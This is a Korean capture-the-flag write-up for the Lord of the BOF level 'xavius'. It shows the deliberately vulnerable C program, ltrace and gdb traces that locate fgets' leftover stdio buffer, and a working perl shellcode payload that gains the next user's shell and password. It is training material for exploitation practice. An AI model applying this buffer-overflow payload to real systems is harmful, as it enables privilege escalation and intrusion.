nightmare to xavius
[nightmare@localhost nightmare]$ cat xavius.c
/*
The Lord of the BOF : The Fellowship of the BOF
- xavius
- arg
*/
#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>
main()
{
char buffer[40];
char *ret_addr;
// overflow!
fgets(buffer, 256, stdin);
printf("%s\n", buffer);
if(*(buffer+47) == '\xbf')
{
printf("stack retbayed you!\n");
exit(0);
}
if(*(buffer+47) == '\x08')
{
printf("binary image retbayed you, too!!\n");
exit(0);
}
// check if the ret_addr is library function or not
memcpy(&ret_addr, buffer+44, 4); //ret에 들어있는 값을 ret_addr에 복사
while(memcmp(ret_addr, "\x90\x90", 2) != 0) // end point of function
{
if(*ret_addr == '\xc9'){ // leave //\xc9는 어셈명령어로 leave를 뜻함, FEBP기법을 체크함
if(*(ret_addr+1) == '\xc3'){ // ret //\xc3은 어셈명령어로 ret을 뜻함, recall ret기법을 체크함
printf("You cannot use library function!\n");
exit(0);
}
}
ret_addr++;
}
// stack destroyer
memset(buffer, 0, 44); //buffer + sfp 초기화
memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48)); //ret 이후~ 스택의 끝 초기화 - 환경변수 ~ 찌꺼기 를 이용한 공격 방어
// LD_* eraser
// 40 : extra space for memset function
memset(buffer-3000, 0, 3000-40); //공유라이브러리 기법 방어
}
fgets()는 들어온 스트링을 임시버퍼 -> 변수에 저장하면서,
임시버퍼에 내용을 지우지 않는 특성이 있거든요..
[출처] LOB level19 ( nightmare -> xavious )|작성자 kumik12
ltrace 를 이용한 임시버퍼 색출…
[nightmare@localhost nightmare]$ ltrace -h
Usage: ltrace [option ...] [command [arg ...]]
Trace library calls of a given program.
-d, --debug print debugging info.
-f follow forks.
-i print instruction pointer at time of library call.
-L do NOT display library calls.
-S display system calls.
-r print relative timestamps.
-t, -tt, -ttt print absolute timestamps.
-C, --demangle decode low-level symbol names into user-level names.
-a, --align=COLUMN align return values in a secific column.
-s STRLEN specify the maximum string size to print.
-o, --output=FILE write the trace output to that file.
-u USERNAME run command with the userid, groupid of username.
-p PID attach to the process with the process ID pid.
-e expr modify which events to trace.
-h, --help display this help and exit.
-V, --version output version information and exit.
Report bugs to Juan Cespedes <cespedes@debian.org>
[nightmare@localhost nightmare]$ ltrace -S ./xaviu1
SYS_brk(NULL) = 0x08049a58
SYS_mmap(0xbffff890, 1, 0x40013868, 4096, 556) = 0x40014000
SYS_open("/etc/ld.so.preload", 0, 010000234150) = -2
SYS_open("/etc/ld.so.cache", 0, 010000234150) = 3
SYS_fstat(3, 0xbffff6e0, 0x40013868, 0xbffff740, 3) = 0
SYS_mmap(0xbffff71c, 0xbffff6e0, 0x40013868, 0x400013d3, 3) = 0x40015000
SYS_close(3) = 0
SYS_open("/lib/libc.so.6", 0, 010000234150) = 3
SYS_fstat(3, 0xbffff638, 0x400143d0, 0xbffff760, 3) = 0
SYS_read(3, "\177ELF\001\001\001", 4096) = 4096
SYS_mmap(0xbfffe5fc, 970752, 0x40013868, 0xbfffe614, 0xbffff7c8) = 0x40018000
SYS_mprotect(0x40105000, 30812, 0, 30812, 0x40105000) = 0
SYS_mmap(0xbfffe5fc, 16384, 0x40013868, 0x400143e0, 0xbffff7c8) = 0x40105000
SYS_mmap(0xbfffe5fc, 0, 0x40013868, 0x40109000, 0xbfffe62c) = 0x40109000
SYS_close(3) = 0
SYS_mprotect(0x40018000, 970752, 3, 0x400143e0, 0x40018088) = 0
SYS_mprotect(0x40018000, 970752, 5, 0x40018000, 5) = 0
SYS_munmap(0x40015000, 12210) = 0
SYS_personality(0) = 0
SYS_getpid() = 22532
__libc_start_main(0x08048714, 1, 0xbffffd54, 0x08048398, 0x0804885c <unfinished .
__register_frame_info(0x08049950, 0x08049a40, 0xbffffd14, 0x080483bd, 0x401081ec)
fgets( <unfinished ...>
SYS_197(0, 0xbffffb84, 0x40108d60, 0x401068c0, 0) = -38
SYS_fstat(0, 0xbffffb10, 0x40108d60, -1, 0) = 0
SYS_mmap(0xbffffb60, 0xbffffb84, 0x401081ec, 1024, 1) = 0x40015000 //맵핑하는 실제주소 -> mmap의 리턴값
SYS_ioctl(0, 21505, 0xbffffaf8, 0xbffffb30, 1) = 0
SYS_read(0, aaaaaa
"aaaaaa\n", 1024) = 7 //fgets 함수 안에서 입력을 받는 read 시스템콜
<... fgets resumed> "aaaaaa\n", 256, 0x401068c0) = 0xbffffce0
printf("%s\n", "aaaaaa\n" <unfinished ...>
SYS_fstat(1, 0xbffff4b0, 0x40106820, 0x40106980, 1) = 0
SYS_mmap(0xbffff500, 0xbffff524, 0x401081ec, 1024, 1) = 0x40016000
SYS_ioctl(1, 21505, 0xbffff498, 0xbffff4d0, 1) = 0
SYS_write(1, "aaaaaa\n", 7aaaaaa
) = 7
SYS_write(1, "\n", 1
) = 1
<... printf resumed> ) = 8
memcpy(0xbffffcdc, "\313\t\003@", 4) = 0xbffffcdc
memcmp(0x400309cb, 0x08048902, 2, 0x400309cb, 0x61616161) = -1
memcmp(0x400309cc, 0x08048902, 2, 0x400309cc, 0x61616161) = 1
memcmp(0x400309cd, 0x08048902, 2, 0x400309cd, 0x61616161) = -1
memcmp(0x400309ce, 0x08048902, 2, 0x400309ce, 0x61616161) = 1
memcmp(0x400309cf, 0x08048902, 2, 0x400309cf, 0x61616161) = 1
memcmp(0x400309d0, 0x08048902, 2, 0x400309d0, 0x61616161) = 1
memcmp(0x400309d1, 0x08048902, 2, 0x400309d1, 0x61616161) = 0
memset(0xbffffce0, '\000', 44) = 0xbffffce0
memset(0xbffffd10, '\000', 751) = 0xbffffd10
memset(0xbffff128, '\000', 2960) = 0xbffff128
__deregister_frame_info(0x08049950, 0xbffffcf0, 0x08048871, 0x401081ec, 0xbffffd0
SYS_munmap(0x40016000, 4096) = 0
SYS_exit(-1073745624) = <void>
+++ exited (status 40) +++
[nightmare@localhost nightmare]$ gdb -q xaviu1
(gdb) set disassembly-flavor intel
(gdb) b *main+26
Breakpoint 1 at 0x804872e
(gdb) r
Starting program: /home/nightmare/xaviu1
aaaaaa
Breakpoint 1, 0x804872e in main ()
(gdb) x/4x 0x40015000 //디버깅 결과 임시버퍼 확인
0x40015000: 0x61616161 0x000a6161 0x00000000 0x00000000
(gdb) quit
The program is running. Exit anyway? (y or n) y
payload의 작성
fgets에 쉘코드를 넘겨주면, 스택에 존재하는 쉘코드는 사라지지만, fgets가 이용하는 임시버퍼 상의 쉘코드는 계속 남아있게 된다.
[nop*28][shellcode(16byte)][ret(0x40015001)]
ret 주소의 마지막이 \x00(null)이 되면 안되기 때문에 nopslide의 어딘가를 준다.
공격
fgets기 때문에 파이프와 cat을 이용해 perl 스크립트를 넘겨준다.
[nightmare@localhost nightmare]$ (perl -e 'print "\x90"x28,"\xb8\xf9\xbf\x0f\x40\x50\x31\xc0\x50\xb8\xe0\x8a\x05\x40\x50\xc3","\x01\x50\x01\x40"';cat)|./xavius
릱릱릱릱릱릱릱릱릱릱릱릱릱릱몽?P1픐멘?P?P@
id
uid=518(nightmare) gid=518(nightmare) euid=519(xavius) egid=519(xavius) groups=5
my-pass
euid = 519
throw me away